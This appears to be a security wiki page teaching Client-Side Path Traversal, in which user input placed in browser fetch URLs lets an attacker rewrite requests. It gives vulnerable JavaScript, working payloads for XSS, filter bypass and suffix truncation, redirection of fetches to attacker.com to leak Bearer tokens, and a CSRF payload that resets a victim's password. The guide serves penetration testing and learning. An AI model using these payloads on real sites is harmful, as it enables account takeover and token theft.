Client-Side Path Traversal (CSPT)
Using ../ sequences and URL parts to rewrite requests made by the browser
The vulnerability class named "Client-Side Path Traversal" is as its name suggests, about path traversals in the browser, so URLs. It occurs when an application fetches some path with your input in it, allowing you to use ../
and other special characters to rewrite the path to somewhere else.
const id = new URLSearchParams(location.search).get('id');
const info = await fetch(`/articles/${id}`).then(r => r.json());
document.getElementById('description').innerHTML = info.description;
The above example takes the ?id=
query parameter, pastes it into the /articles/${id}
path without escaping, and then puts the resulting description
into an unsafe innerHTML
sink.
If the attacker normally has no control over the value of the description, they can gain control by uploading a fake JSON file via any such functionality that responds with the required content, such as:
{
"description": "<img src onerror=alert(origin)>"
}
If they then have a URL that this upload is fetchable on, they can rewrite the metadata path like this:
id=../uploads/xss.json
The JavaScript pastes this ID into /articles/../uploads/xss.json
, which resolves to /uploads/xss.json
returning the uploaded content. It then uses this response unsafely resulting in XSS.
There's a lot more depth to this vulnerability, like handling suffixes, sanitization bypasses and alternative impact like CSRF, as well as various ways of gaining control over a response. This will all be explained below. One related concept is overwriting other query parameters if the fetch unsafely puts your input into these without escaping.
const results = await fetch(`/api/search?q=${q}`).then(r => r.json());
It's possible to use &
to add more parameters and #
to truncate them, for more information on this, read the almost equivalent server-side version of in PortSwigger's Academy:
Path Traversal
The first example explained above is the simplest, no sanitization and control over the end (suffix) of the path. There are other complex scenarios where more tricks are required.
Remove suffix
When your input is partially inside of a URL with another part of the path appended, the injection may feel quite limited because the destination of your path traversal always has this part appended, limiting the number of hittable endpoints that accept such a format. In Path Traversal on the filesystem, it's hardly ever possible to truncate the end of the path.
With URLs, however, this is easy with the ?
to start query parameters or #
to start a hash fragment, after which any data will not be part of the path.
const metadata = await fetch(`/articles/${id}/metadata`).then(r => r.json());
The above is exploitable via the following injection:
id=../uploads/xss.json%3f
It decodes to ../uploads/xss.json?
, which when merged with the fetch path, results in /articles/../uploads/xss.json?/metadata
. This is resolved to /uploads/xss.json?/metadata
which can match the uploaded file again.
The same would work with #
encoded as %23
, resulting in /uploads/xss.json#/metadata
where the hash fragment (#/metadata
) isn't even sent to the server.
As a last trick, in some PHP servers it doesn't matter what is after the file.php
in the URL, it can be treated as a directory with any complex path appended, such as:
/profile.php/metadata
If you really cannot find any way to control the suffix or a useful gadget where it doesn't matter, try looking for more CSPT vulnerabilities, because when you find one it's often a more global pattern. These may have less sanitization in place.
Single '..'
In some situations like filenames or directory names, a lot of characters except /
are often allowed. This is also common when dealing with URL-encoding functions like encodeURIComponent
, which disallow many characters except .
dots.
This makes it hard to perform path traversal into any arbitrary directory, but you can still use exactly ..
as a payload in one part of the URL to traverse it back by one.
This often requires more inputs into the URL to rewrite it to a useful path after the traversal, because it's still quite limited.
const group = encodeURIComponent(group);
const user = encodeURIComponent(user);
const id = encodeURIComponent(id);
await fetch(`/users/${group}/${user}/posts/${id}`).then(r => r.json());
The group
can be set to ..
to traverse away the users/
directory, then user
set to uploads
to get into a new one. Finally, set id
to the uploaded file xss.json
.
group=..&user=uploads&id=xss.json
This will be resolved as:
/users/${group}/${user}/likes/${id}
/users/../uploads/likes/xss.json
/uploads/likes/xss.json
If you're able to create a directory named likes
in which you can upload, this path would now be in your control.
This writeup had a similar idea using a file write vulnerability.
Empty
Similar to the last idea, you can use short sequences like /
or .
in paths as well to send them to a wrong handler. These don't completely rewrite the URL, only shorten it to potentially hit a less specific handler.
const id = encodeURIComponent(id);
await fetch(`/users/${id}`).then(r => r.json());
While this normally hits the /users/:id
handler, making the id
empty, /
or .
can cause it to fetch /users/
instead. This can possibly hit a more general handler that returns data for all users instead of a specific one:
id=
id=/
id=.
The resulting fetches are /users/
, /users//
and /users/.
.
Filter bypasses
You'll encounter intentional or unintentional filters by various different functions, either custom or builtin. Below is a table of 3 common URL-encoding functions that do different things:
Note how only encodeURIComponent
escapes /
slashes, and none of them encode .
dots. The encodeURI
is the least restrictive, allowing query parameter characters still.
If the wrong function is used or it is trusted in a spot where critical characters are still allowed, you will still be able to perform path traversal.
Even through URL-encoding, some servers in combination with Reverse Proxies can decode them for you, still resolving the path traversals. You should test how exactly different strings are parsed before concluding it is impossible.
Checks can sometimes even be bypassed by intentionally encoding specific characters that allow it, test both casings like %2f
and %2F
to make sure it's not case sensitive.
Backslashes and multiple
In URLs parsed by the browser, \
(backslash) is equivalent to /
(forward slash), even in path traversals. In fact, when the request is sent out to the server it even replaces them so the server receives a regular slash.
This can be combined with multiple slashes by the server if it allows them. It can be very useful if a custom check blocks /
characters, for example:
fetch(String.raw`/a\path/to\somewhere\..\and/back//multiple\//\/\slashes`)
This fetches /a/path/to/and/back//multiple//////slashes
, which a server may interpret wildly different than the fetcher expected.
Tabs and newlines are stripped
The URL standard specifies that \t
, \n
and \r
will all be removed from the input before starting to parse. This is a useful fact that can help in bypassing filters that look for longer sequences of text, such as ..
. It can be replaced with .\n.
or .\t.
which will just be read as ..
and still allow path traversal.
fetch("/dir/.\n./blo\ncked\t-path")
This crazy path doesn't contain the string ".." or "blocked", but still sends a request to /blocked-path
.
Path to Path
In all the previous (and next) examples, query parameters are shown as where the input comes from. This is an easy variant where you have complete control, but it won't always be so nice. If your input came from a path parameter into a fetch with a path parameter, using things like ../
will have the same meaning in both contexts and may be resolved before you want them to.
An easy solution may be to URL-encode the payload, the browser/server won't recognize it as literal path traversal anymore, and pass it through. The JavaScript code then needs to explicitly URL-decode your input in order for the %2e%2e%2f
to become active again.
The browser will always parse the URL the same way, but if you're dealing with a server or reverse proxy that decodes and resolves your path traversals, it may be possible to to obfuscate it using any of the above mentioned tricks (backslashes and tabs & newlines). For example %2e%0a%09%2E\other
:
/blog/${folder}/post
/blog/%2e%0a%09%2E\other/post
/blog/.\n\t.\other/post
/blog/../other/post
/other/post
Open redirect with //
In cases where your input is the first part of a URL, there's a special parsing rule in the browser you can abuse to point it to a completely different (attacker-controlled) host.
const info = await fetch(`/${lang}/info`).then(r => r.json());
A URL starting with //
(without a protocol) is seen as an absolute URL, where the protocol is implied from the current one. Like //example.com
pointing to https://example.com
. When there is only a first /
followed by your input, you can start your input with a 2nd slash and then a hostname to point it to.
lang=/attacker.com
This results in a fetch to //attacker.com/info
to which you can respond with any data (after enabling CORS on your server), or leak anything that's sent with the response like POST data, or Bearer tokens in the headers.
Sources
If you can partially rewrite the path, the next step is to control the content (unless you're looking for CSRF).
File Uploads
One of the most common and simple ones are file uploads, where you can get a response returned with content you desire. This is common functionality often protected by not allowing .html
files, setting the Content-Disposition: attachment
header or a CSP, but none of these protect against fetching them for their content.
In most cases this is quite straight-forward, simply upload the content you need as any allowed extension and point the fetch to it.
Polyglots
When the application performs validation on the uploaded file, it may not like the JSON format, and expect only PDFs or images. In this case you'll need to create one file that can be seen as two different formats: a polyglot. In JSON, the hard part is that it needs to start with {"
to open a key, inside the quotes can be almost anything, and then it needs to close again with "}
.
This opens the door for formats that have their magic bytes not at the start, but somewhere later in the file. The following article shows two examples of how PDF and WebP (images) can be formatted in a way that they are valid JSON and can serve as a CSPT source.
The case where it expects HTML to be rendered in the response is quite easy to bypass, because HTML has no strict format, see Embed Raw Data (Polyglots) for more info.
Content Type confusion
When the server expects HTML as a response, there is no validation that happens with the format, because HTML has no errors. Any resource containing the string <img src onerror=alert(origin)>
may now become a target to reach with your CSPT.
One example is any JSON endpoint that returns your input, by default characters such as <
are not encoded, and so can be used as a HTML response if the server allows it.
const html = await fetch(`/post/${id}/content`).then(r => r.text());
document.getElementById('post_content').innerHTML = html;
We could rewrite it with ../users/1337?
to fetch our name:
{"name": "<img src onerror=alert(origin)>"}
This results in the above response being rendered raw as HTML, a successful XSS:

<img>
tagOpen Redirect
Combined with CSPT, an Open Redirect can become a very powerful gadget. Because they are inherently on the main site and server-redirect to an attacker's site, your CSPT will be able to reach its path and the attacker can return any arbitrary content they want (even specific headers).
For example, assume /redirect?url=https://attacker.com
is a gadget on the target. The following code can be exploited easily now:
const info = await fetch(`/articles/${id}`).then(r => r.json());
document.getElementById('description').innerHTML = info.description;
A payload like ../redirect?url=https://attacker.com
will send the fetch through to the attacker, who can now respond with anything they want.
Even closed redirects can be useful, if they are only able to redirect to other trusted domains. These domains may have more ways of File Uploads or Content Type confusion that can finalize your exploit.
Sinks
The goal of returning arbitrary content in CSPT getting user input into places it's not supposed to be. You're able to control the exact response of the server and set properties that contain dangerous values, so carefully examine what logic happens with the response.
HTML
As seen in many of the examples above, if HTML is expected, you can simply return an XSS payload. Some frameworks like HTMX or hotswapping logic work this way where raw HTML is expected to be returned. If you are able to inject into any of these kinds of paths, it's a great target.
Also note how the JavaScript handles your HTML after is receives it. If it parses and extracts some part (eg. with a querySelector
), match that with your injection.
Recursion
When the response is JSON, you've gained control over some properties. So why not CSPT them as well?
This is a very common situation, where the server fetches some IDs from the server, which it trusts, and then does more sensitive stuff with. It can lead to even more user input, eventually HTML or the request itself may be an interesting CSRF target (eg. going from GET to a POST).
CSRF
Instead of controlling the response and looking for sinks, the request itself may be able to trigger some dangerous things for the signed-in user. Cookies will be sent with these requests, even SameSite=Strict
ones, so Cross-Site Request Forgery (CSRF) has a high chance of being possible.
If you're lucky, the JavaScript logic even has similar logic where it adds CSRF tokens or Bearer authentication headers. In this case, you'll be sending a request to any endpoint authenticated as the user. That makes it crucial to know all endpoints in the application that you can hit in any way possible to get some impact out of it.
The method of your request is important to keep in mind because you cannot change it with your path traversal. GET requests are rarely state-changing, but can be if authenticated with a Bearer token, for example. You can also try hitting regularly POST endpoint with an equivalent GET request instead, moving all body parameters to query parameters.
If you are sending a POST request, it's unlikely you have any control over the body parameters. Therefore you can try to see if the server accepts the same values given through query parameters, still with a POST body. These are controllable in the path traversal by appending ?key=value&
, and may allow you to perform sensitive actions.
fetch(`/analytics/${lang}/ping`, {
method: "POST",
headers: {
Authorization: `Bearer: ${auth_token}`,
"Content-Type": "x-www-form-urlencoded"
},
body: new URLSearchParams({referrer: document.referrer})
});
The payload should become: ../reset_password?new=hacked#
, resulting in /analytics/../reset_password?new=hacked#/ping
and the following request:
POST /reset_password?new=hacked HTTP/1.1
Content-Type: x-www-form-urlencoded
Authorization: Bearer ${auth_token}
referrer=https%3A%2F%2Fexample.com%2F
If the server accepts the parameters via the query string during a POST, it will find the expected ?new=
parameter to change their password.
Even forms can be victim to this quite often, requiring the user to interact with them, but still sending a malicious request when they do:
<form action="/edit/<?= $id ?>" method="post">
<button type="submit">Submit</button>
</form>
After injecting the same payload again, the form becomes:
<form action="/edit/../reset_password?new=hacked" method="post">
<button type="submit">Submit</button>
</form>
The moment the user clicks the Submit button, their password will be changed to "hacked".
Last updated